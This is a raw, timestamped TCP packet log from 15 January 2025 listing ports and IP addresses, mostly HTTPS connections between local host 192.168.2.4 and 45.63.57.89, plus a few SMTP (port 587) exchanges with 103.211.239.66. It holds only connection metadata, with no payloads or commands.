Jan 15, 2025 03:37:10.339586973 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.339672089 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.339765072 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.340076923 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.340105057 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.341801882 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.341855049 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.341926098 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.341948032 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.341985941 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.342005968 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.342046022 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.347342968 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.347438097 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.347578049 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.347717047 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.347745895 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353106022 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353163958 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353188992 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353209972 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353239059 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.353251934 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353275061 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353282928 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.353307962 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353313923 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.353336096 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.353362083 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.353420973 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353558064 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.353619099 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.354585886 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354648113 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354669094 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354716063 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.354717970 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354751110 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354760885 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.354769945 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.354784012 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.354805946 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.354846001 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.364444971 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.364509106 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.364604950 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.364669085 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.364742994 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.376398087 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.376444101 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.376595974 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.376596928 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.376663923 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.376724958 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.380573034 CET	49793	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.380640030 CET	443	49793	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.382222891 CET	49791	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.382255077 CET	443	49791	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.386807919 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.386871099 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.386885881 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.387012959 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.387063980 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.394310951 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.394351959 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.394464016 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.394651890 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.394681931 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.397378922 CET	49790	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.397416115 CET	443	49790	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.405186892 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.405203104 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.405262947 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.405673981 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.405683994 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.406017065 CET	49789	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.406028986 CET	443	49789	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.425743103 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.425801992 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.425942898 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.425942898 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.426009893 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.426069021 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.429104090 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.429197073 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.429287910 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.429686069 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.429724932 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.464431047 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.464490891 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.464634895 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.464634895 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.464704037 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.464768887 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.466092110 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466145992 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466175079 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.466191053 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466223955 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.466243029 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.466562986 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466643095 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.466656923 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466711998 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.466773033 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.469374895 CET	49788	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.469403028 CET	443	49788	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.545089960 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.549218893 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.553517103 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.580569029 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.580647945 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.580656052 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.580663919 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.580679893 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.580734015 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.582052946 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.582416058 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.582617044 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.582665920 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.584633112 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.584685087 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.584737062 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.584779978 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.588253975 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.588458061 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.623409033 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.632771969 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.632832050 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.633569002 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.675915956 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.676747084 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.677232027 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.680382013 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.680453062 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.680578947 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.680609941 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.680671930 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.680710077 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.680962086 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:10.680979013 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:10.723330975 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.727541924 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.727634907 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.727722883 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.728703976 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.728743076 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.732840061 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.746903896 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.746990919 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.747570992 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.747594118 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.747668028 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.747843981 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.747998953 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.748035908 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.748173952 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.748207092 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.771579981 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.771619081 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.771770000 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.771780014 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.771976948 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.772255898 CET	49794	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.772270918 CET	443	49794	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.774415970 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.774440050 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.774671078 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.774785042 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.774815083 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.806919098 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.806979895 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.807071924 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.812587976 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.812623978 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.841960907 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.842017889 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.842037916 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.842116117 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.842180014 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.842233896 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.842292070 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.842749119 CET	49795	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.842777967 CET	443	49795	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.844100952 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.844172955 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.844476938 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.845031977 CET	49796	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.845061064 CET	443	49796	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.847944021 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:10.890593052 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:10.921493053 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.922349930 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.922413111 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.922914028 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.923424959 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.923513889 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.923646927 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.928431988 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.929016113 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.929080009 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.929442883 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.930031061 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.930100918 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.930388927 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.967407942 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.971354008 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.978728056 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.979129076 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.979192972 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.982537031 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.982626915 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.983114958 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.983207941 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.983303070 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.983323097 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.992667913 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.992921114 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.992938042 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.994369984 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.994456053 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.995146990 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:10.995224953 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:10.995349884 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.012531042 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.016223907 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.016288996 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.017762899 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.017846107 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.018148899 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.018239975 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.018253088 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.030405998 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.039354086 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.045461893 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.045470953 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.063334942 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.066534042 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.066595078 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.081445932 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:11.086349964 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:11.089777946 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.111812115 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.140717983 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.140774965 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.140942097 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.140975952 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.141047955 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.151442051 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.151459932 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.151525974 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.151540995 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.151671886 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.199728012 CET	49798	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.199769974 CET	443	49798	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.200690985 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.200759888 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.200840950 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.200911999 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.200953960 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.201661110 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.203738928 CET	49797	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.203773022 CET	443	49797	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.209728956 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.209764004 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.209880114 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.210093021 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.210100889 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.210617065 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.210685015 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.210855961 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.211234093 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.211270094 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.211419106 CET	49799	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.211431980 CET	443	49799	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.213726044 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.213738918 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.213814020 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.213947058 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.213958979 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218426943 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218487978 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218508959 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218540907 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.218558073 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218571901 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.218696117 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.218921900 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.219284058 CET	49800	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.219295025 CET	443	49800	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.221066952 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.221154928 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.221231937 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.221374035 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.221406937 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.234832048 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.234920025 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.234992981 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.235356092 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.235390902 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.237365961 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.237391949 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.237526894 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.237696886 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.237720013 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295388937 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295454025 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295475960 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295598030 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295634985 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.295634985 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.295653105 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295681000 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295737028 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.295799971 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.295799971 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.295799971 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.295799971 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.318227053 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.318734884 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.318799019 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.319962978 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320257902 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320324898 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320348978 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.320348978 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.320405006 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320434093 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.320463896 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.320477009 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320544958 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320579052 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.320583105 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.320708036 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.321674109 CET	49801	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.321701050 CET	443	49801	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.324582100 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.324852943 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.324877977 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.326926947 CET	443	49805	45.63.57.89	192.168.2.4
